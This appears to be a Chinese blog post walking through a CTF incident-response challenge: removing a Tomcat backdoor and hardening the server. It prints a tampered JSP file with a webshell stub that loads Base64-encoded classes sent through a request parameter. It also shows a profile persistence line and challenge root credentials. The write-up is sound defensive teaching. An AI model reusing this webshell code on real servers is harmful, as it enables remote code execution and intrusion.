{"id":85640,"date":"2026-07-27T19:33:04","date_gmt":"2026-07-27T11:33:04","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/85640.html"},"modified":"2026-07-27T19:33:04","modified_gmt":"2026-07-27T11:33:04","slug":"%e3%80%90ctf-%e9%98%b2%e5%be%a1-%e5%ba%94%e6%80%a5%e5%93%8d%e5%ba%94%e3%80%91%e7%99%bb%e5%bd%95%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%90%8e%e7%ab%af%e8%bf%9b%e8%a1%8ctomcat%e5%90%8e%e9%97%a8%e6%b8%85%e9%99%a4","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/85640.html","title":{"rendered":"\u3010CTF-\u9632\u5fa1-\u5e94\u6025\u54cd\u5e94\u3011\u767b\u5f55\u670d\u52a1\u5668\u540e\u7aef\u8fdb\u884cTomcat\u540e\u95e8\u6e05\u9664\u548c\u7cfb\u7edf\u5b89\u5168\u52a0\u56fa\u8fc7\u7a0b"},"content":{"rendered":"<h2>\u9898\u76ee<\/h2>\n<p>2026 \u7834\u9635\u9601::CTF \u7834\u9635\u00b7\u5dc5\u5cf0 &#8211; Forensics &#8211; \u5e94\u6025\u62ef\u6551\u8ba1\u5212&#xff1a;\u9690\u533f\u6f5c\u88ad<\/p>\n<p>https:\/\/118.195.192.138:9443\/games\/4\/challenges#<\/p>\n<p>\u653b\u51fb\u8005\u624b\u6cd5\u5168\u9762\u5347\u7ea7&#xff0c;\u5728Tomcat\u670d\u52a1\u5668\u4e2d\u7559\u4e0b\u4e86\u66f4\u6df1\u5c42\u7684\u540e\u95e8\u3002\u8bf7\u5f7b\u5e95\u6392\u67e5\u6240\u6709\u5165\u4fb5\u75d5\u8ff9&#xff0c;\u53ea\u6709\u5b8c\u7f8e\u6e05\u9664\u6240\u6709\u540e\u95e8&#xff0c;\u624d\u80fd\u83b7\u53d6\u6700\u7ec8\u7684flag&#xff01;<\/p>\n<p>\u8d26\u53f7 root<\/p>\n<p>\u5bc6\u7801 idgfxuxvr2tqekhz<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113250-6a6741e2b0474.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h2>\u89e3\u9898\u8fc7\u7a0b<\/h2>\n<h3>\u4e00\u3001\u7cfb\u7edf\u72b6\u6001\u68c0\u67e5<\/h3>\n<h4>1.\u767b\u5f55<\/h4>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113251-6a6741e317964.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113251-6a6741e3b4687.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>2. \u67e5\u770b\u5f53\u524d\u76ee\u5f55\u5185\u5bb9<\/h4>\n<p><span class=\"token function\">dir<\/span><\/p>\n<p>\u89e3\u91ca&#xff1a;\u67e5\u770b\u5f53\u524d\u76ee\u5f55&#xff08;\/root&#xff09;\u4e0b\u7684\u6587\u4ef6&#xff0c;\u53d1\u73b0\u5b58\u5728flagcheck\u7a0b\u5e8f&#xff0c;\u8fd9\u53ef\u80fd\u662f\u68c0\u6d4b\u7cfb\u7edf\u5b89\u5168\u72b6\u6001\u7684\u5de5\u5177\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113252-6a6741e45691a.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>3. \u67e5\u770b\u7cfb\u7edf\u8fdb\u7a0b<\/h4>\n<p><span class=\"token function\">ps<\/span> <span class=\"token parameter variable\">-aux<\/span><\/p>\n<p>\u89e3\u91ca&#xff1a;\u67e5\u770b\u6240\u6709\u8fd0\u884c\u8fdb\u7a0b&#xff0c;\u53d1\u73b0&#xff1a;<\/p>\n<ul>\n<li>Tomcat Java\u8fdb\u7a0b&#xff08;PID 35&#xff09;<\/li>\n<li>\/var\/crash\/tomcat\u6076\u610f\u8fdb\u7a0b&#xff08;PID 108, 115&#xff09;- \u660e\u663e\u540e\u95e8<\/li>\n<li>\u4ececron\u4efb\u52a1\u542f\u52a8\u7684\u6076\u610f\u8fdb\u7a0b&#xff08;PID 107&#xff09; <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113252-6a6741e4eca8b.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/li>\n<\/ul>\n<h3>\u4e8c\u3001\u6e05\u7406\u540e\u95e8\u8fdb\u7a0b<\/h3>\n<h4>3. \u5220\u9664\u6076\u610f\u7a0b\u5e8f\u6587\u4ef6<\/h4>\n<p><span class=\"token function\">rm<\/span> <span class=\"token parameter variable\">-rf<\/span> \/var\/crash\/tomcat<\/p>\n<p>\u89e3\u91ca&#xff1a;\u5220\u9664\u660e\u663e\u7684\u6076\u610f\u540e\u95e8\u7a0b\u5e8f\u6587\u4ef6\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113253-6a6741e597f43.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h4>4. \u68c0\u67e5\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6<\/h4>\n<p><span class=\"token function\">cat<\/span> \/etc\/profile<\/p>\n<p>\u89e3\u91ca&#xff1a;\u68c0\u67e5\u7cfb\u7edf\u542f\u52a8\u914d\u7f6e\u6587\u4ef6&#xff0c;\u53d1\u73b0\u6587\u4ef6\u672b\u5c3e\u6709&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113254-6a6741e63c1c4.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\/var\/crash\/tomcat <span class=\"token operator\">&amp;<\/span><\/p>\n<p>\u8fd9\u884c\u4ee3\u7801\u5bfc\u81f4\u7cfb\u7edf\u6bcf\u6b21\u542f\u52a8\u65f6\u90fd\u4f1a\u6267\u884c\u540e\u95e8\u7a0b\u5e8f\u3002<\/p>\n<h4>5. \u6e05\u9664cron\u8ba1\u5212\u4efb\u52a1<\/h4>\n<p><span class=\"token function\">crontab<\/span> <span class=\"token parameter variable\">-r<\/span><\/p>\n<p>\u89e3\u91ca&#xff1a;\u5220\u9664\u6240\u6709\u8ba1\u5212\u4efb\u52a1&#xff0c;\u56e0\u4e3a\u6076\u610f\u7a0b\u5e8f\u53ef\u80fd\u901a\u8fc7cron\u5b9a\u65f6\u542f\u52a8\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113254-6a6741e6d454f.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h3>\u4e09\u3001\u5206\u6790Tomcat\u540e\u95e8<\/h3>\n<h4>6. \u68c0\u67e5Tomcat JSP\u6587\u4ef6<\/h4>\n<p><span class=\"token builtin class-name\">cd<\/span> \/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<br \/>\n<span class=\"token function\">cat<\/span> login_jsp.java<\/p>\n<p>\u89e3\u91ca&#xff1a;\u8fd9\u662f\u4e00\u4e2a\u88ab\u7be1\u6539\u7684JSP\u6587\u4ef6&#xff0c;\u5305\u542b&#xff1a;<\/p>\n<ul>\n<li>\u81ea\u5b9a\u4e49\u7684PAREN_MATCHING\u7c7b\u52a0\u8f7d\u5668<\/li>\n<li>transparent\u65b9\u6cd5\u7528\u4e8eBase64\u89e3\u7801<\/li>\n<li>\u4ece\u53c2\u6570jkXrownW\u63a5\u6536Base64\u7f16\u7801\u7684\u6076\u610f\u4ee3\u7801\u5e76\u6267\u884c <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/07\/20260727113255-6a6741e77881b.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/li>\n<\/ul>\n<p>root<span class=\"token annotation punctuation\">&#064;csirt3<\/span><span class=\"token operator\">&#8211;<\/span><span class=\"token number\">0066444d<\/span>b6074e52<span class=\"token operator\">:<\/span><span class=\"token operator\">\/<\/span>opt<span class=\"token operator\">\/<\/span>apache<span class=\"token operator\">&#8211;<\/span>tomcat<span class=\"token operator\">&#8211;<\/span><span class=\"token number\">8.5<\/span><span class=\"token number\">.100<\/span><span class=\"token operator\">\/<\/span>work<span class=\"token operator\">\/<\/span><span class=\"token class-name\">Catalina<\/span><span class=\"token operator\">\/<\/span>localhost<span class=\"token operator\">\/<\/span>a<span class=\"token operator\">\/<\/span>org<span class=\"token operator\">\/<\/span>apache<span class=\"token operator\">\/<\/span>jsp# cat login_jsp<span class=\"token punctuation\">.<\/span>java<br \/>\n<span class=\"token comment\">\/*<br \/>\n * Generated by the Jasper component of Apache Tomcat<br \/>\n * Version: Apache Tomcat\/8.5.100<br \/>\n * Generated at: 2025-08-07 02:44:56 UTC<br \/>\n * Note: The last modified time of this file was set to<br \/>\n *       the last modified time of the source file after<br \/>\n *       generation to assist with modification tracking.<br \/>\n *\/<\/span><br \/>\n<span class=\"token keyword\">package<\/span> <span class=\"token namespace\">org<span class=\"token punctuation\">.<\/span>apache<span class=\"token punctuation\">.<\/span>jsp<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p><span class=\"token keyword\">import<\/span> <span class=\"token import\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span><\/span><span class=\"token operator\">*<\/span><\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">import<\/span> <span class=\"token import\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>http<span class=\"token punctuation\">.<\/span><\/span><span class=\"token operator\">*<\/span><\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">import<\/span> <span class=\"token import\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span><span class=\"token operator\">*<\/span><\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p><span class=\"token keyword\">public<\/span> <span class=\"token keyword\">final<\/span> <span class=\"token keyword\">class<\/span> login_jsp <span class=\"token keyword\">extends<\/span> <span class=\"token class-name\"><span class=\"token namespace\">org<span class=\"token punctuation\">.<\/span>apache<span class=\"token punctuation\">.<\/span>jasper<span class=\"token punctuation\">.<\/span>runtime<span class=\"token punctuation\">.<\/span><\/span>HttpJspBase<\/span><br \/>\n    <span class=\"token keyword\">implements<\/span> <span class=\"token class-name\"><span class=\"token namespace\">org<span class=\"token punctuation\">.<\/span>apache<span class=\"token punctuation\">.<\/span>jasper<span class=\"token punctuation\">.<\/span>runtime<span class=\"token punctuation\">.<\/span><\/span>JspSourceDependent<\/span><span class=\"token punctuation\">,<\/span><br \/>\n                 <span class=\"token class-name\"><span class=\"token namespace\">org<span class=\"token punctuation\">.<\/span>apache<span class=\"token punctuation\">.<\/span>jasper<span class=\"token punctuation\">.<\/span>runtime<span class=\"token punctuation\">.<\/span><\/span>JspSourceImports<\/span> <span class=\"token punctuation\">{<\/span><\/p>\n<p><span class=\"token keyword\">class<\/span> <span class=\"token class-name\">PAREN_MATCHING<\/span> <span class=\"token keyword\">extends<\/span> <span class=\"token class-name\">ClassLoader<\/span><span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token function\">PAREN_MATCHING<\/span><span class=\"token punctuation\">(<\/span><span class=\"token class-name\">ClassLoader<\/span> c<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><span class=\"token keyword\">super<\/span><span class=\"token punctuation\">(<\/span>c<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token keyword\">public<\/span> <span class=\"token class-name\">Class<\/span> <span class=\"token function\">pushdown<\/span><span class=\"token punctuation\">(<\/span><span class=\"token keyword\">byte<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> b<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> <span class=\"token keyword\">super<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">defineClass<\/span><span class=\"token punctuation\">(<\/span>b<span class=\"token punctuation\">,<\/span> <span class=\"token number\">0<\/span><span class=\"token punctuation\">,<\/span> b<span class=\"token punctuation\">.<\/span>length<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token keyword\">public<\/span> <span class=\"token keyword\">byte<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token function\">transparent<\/span><span class=\"token punctuation\">(<\/span><span class=\"token class-name\">String<\/span> str<span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">throws<\/span> <span class=\"token class-name\">Exception<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token class-name\">Class<\/span> base64<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token keyword\">byte<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> value <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token keyword\">try<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    base64<span class=\"token operator\">&#061;<\/span><span class=\"token class-name\">Class<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">forName<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;sun.misc.BASE64Decoder&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token class-name\">Object<\/span> decoder <span class=\"token operator\">&#061;<\/span> base64<span class=\"token punctuation\">.<\/span><span class=\"token function\">newInstance<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    value <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token keyword\">byte<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span>decoder<span class=\"token punctuation\">.<\/span><span class=\"token function\">getClass<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getMethod<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;decodeBuffer&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">new<\/span> <span class=\"token class-name\">Class<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token class-name\">String<\/span><span class=\"token punctuation\">.<\/span><span class=\"token keyword\">class<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">invoke<\/span><span class=\"token punctuation\">(<\/span>decoder<span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">new<\/span> <span class=\"token class-name\">Object<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span> str <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span> <span class=\"token keyword\">catch<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token class-name\">Exception<\/span> e<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">try<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      base64<span class=\"token operator\">&#061;<\/span><span class=\"token class-name\">Class<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">forName<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;java.util.Base64&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token class-name\">Object<\/span> decoder <span class=\"token operator\">&#061;<\/span> base64<span class=\"token punctuation\">.<\/span><span class=\"token function\">getMethod<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;getDecoder&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">invoke<\/span><span class=\"token punctuation\">(<\/span>base64<span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      value <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token keyword\">byte<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span>decoder<span class=\"token punctuation\">.<\/span><span class=\"token function\">getClass<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getMethod<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;decode&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">new<\/span> <span class=\"token class-name\">Class<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span> <span class=\"token class-name\">String<\/span><span class=\"token punctuation\">.<\/span><span class=\"token keyword\">class<\/span> <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">invoke<\/span><span class=\"token punctuation\">(<\/span>decoder<span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">new<\/span> <span class=\"token class-name\">Object<\/span><span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span> str <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span> <span class=\"token keyword\">catch<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token class-name\">Exception<\/span> ee<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token keyword\">return<\/span> value<span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">private<\/span> <span class=\"token keyword\">static<\/span> <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span>JspFactory<\/span> _jspxFactory <span class=\"token operator\">&#061;<\/span><br \/>\n          <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>servlet<span class=\"token punctuation\">.<\/span>jsp<span class=\"token punctuation\">.<\/span><\/span>JspFactory<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getDefaultFactory<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>  <span class=\"token keyword\">private<\/span> <span class=\"token keyword\">static<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Map<\/span><span class=\"token generics\"><span class=\"token punctuation\">&lt;<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>String<\/span><span class=\"token punctuation\">,<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>Long<\/span><span class=\"token punctuation\">&gt;<\/span><\/span> _jspx_dependants<span class=\"token punctuation\">;<\/span><\/p>\n<p>  <span class=\"token keyword\">private<\/span> <span class=\"token keyword\">static<\/span> <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Set<\/span><span class=\"token generics\"><span class=\"token punctuation\">&lt;<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>String<\/span><span class=\"token punctuation\">&gt;<\/span><\/span> _jspx_imports_packages<span class=\"token punctuation\">;<\/span><\/p>\n<p>  <span class=\"token keyword\">private<\/span> <span class=\"token keyword\">static<\/span> <span class=\"token keyword\">final<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Set<\/span><span class=\"token generics\"><span class=\"token punctuation\">&lt;<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>String<\/span><span class=\"token punctuation\">&gt;<\/span><\/span> _jspx_imports_classes<span class=\"token punctuation\">;<\/span><\/p>\n<p>  <span class=\"token keyword\">static<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    _jspx_imports_packages <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">new<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>LinkedHashSet<\/span><span class=\"token generics\"><span class=\"token punctuation\">&lt;<\/span><span class=\"token punctuation\">&gt;<\/span><\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">3<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_packages<span class=\"token punctuation\">.<\/span><span class=\"token function\">add<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;javax.servlet&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_packages<span class=\"token punctuation\">.<\/span><span class=\"token function\">add<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;javax.servlet.http&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_packages<span class=\"token punctuation\">.<\/span><span class=\"token function\">add<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;javax.servlet.jsp&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_classes <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">private<\/span> <span class=\"token keyword\">volatile<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>el<span class=\"token punctuation\">.<\/span><\/span>ExpressionFactory<\/span> _el_expressionfactory<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token keyword\">private<\/span> <span class=\"token keyword\">volatile<\/span> <span class=\"token class-name\"><span class=\"token namespace\">org<span class=\"token punctuation\">.<\/span>apache<span class=\"token punctuation\">.<\/span>tomcat<span class=\"token punctuation\">.<\/span><\/span>InstanceManager<\/span> _jsp_instancemanager<span class=\"token punctuation\">;<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Map<\/span><span class=\"token generics\"><span class=\"token punctuation\">&lt;<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>String<\/span><span class=\"token punctuation\">,<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>Long<\/span><span class=\"token punctuation\">&gt;<\/span><\/span> <span class=\"token function\">getDependants<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> _jspx_dependants<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Set<\/span><span class=\"token generics\"><span class=\"token punctuation\">&lt;<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>String<\/span><span class=\"token punctuation\">&gt;<\/span><\/span> <span class=\"token function\">getPackageImports<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> _jspx_imports_packages<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>util<span class=\"token punctuation\">.<\/span><\/span>Set<\/span><span class=\"token generics\"><span class=\"token punctuation\">&lt;<\/span><span class=\"token class-name\"><span class=\"token namespace\">java<span class=\"token punctuation\">.<\/span>lang<span class=\"token punctuation\">.<\/span><\/span>String<\/span><span class=\"token punctuation\">&gt;<\/span><\/span> <span class=\"token function\">getClassImports<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> _jspx_imports_classes<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token class-name\"><span class=\"token namespace\">javax<span class=\"token punctuation\">.<\/span>el<span class=\"token punctuation\">.<\/span><\/span>ExpressionFactory<\/span> <span class=\"token function\">_jsp_getExpressionFactory<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_el_expressionfactory <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token keyword\">synchronized<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token keyword\">this<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_el_expressionfactory <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n          _el_expressionfactory <span class=\"token operator\">&#061;<\/span> _jspxFactory<span class=\"token punctuation\">.<\/span><span class=\"token function\">getJspApplicationContext<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">getServletConfig<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getServletContext<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">getExpressionFactory<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token punctuation\">}<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> _el_expressionfactory<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  <span class=\"token keyword\">public<\/span> <span class=\"token class-name\"><span class=\"token namespace\">org<span class=\"token punctuation\">.<\/span>apache<span class=\"token punctuation\">.<\/span>tomcat<span class=\"token punctuation\">.<\/span><\/span>InstanceManager<\/span> <span class=\"token function\">_jsp_getInstanceManager<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_jsp_instancemanager <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token keyword\">null<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token keyword\">synchronized<\/span> <span 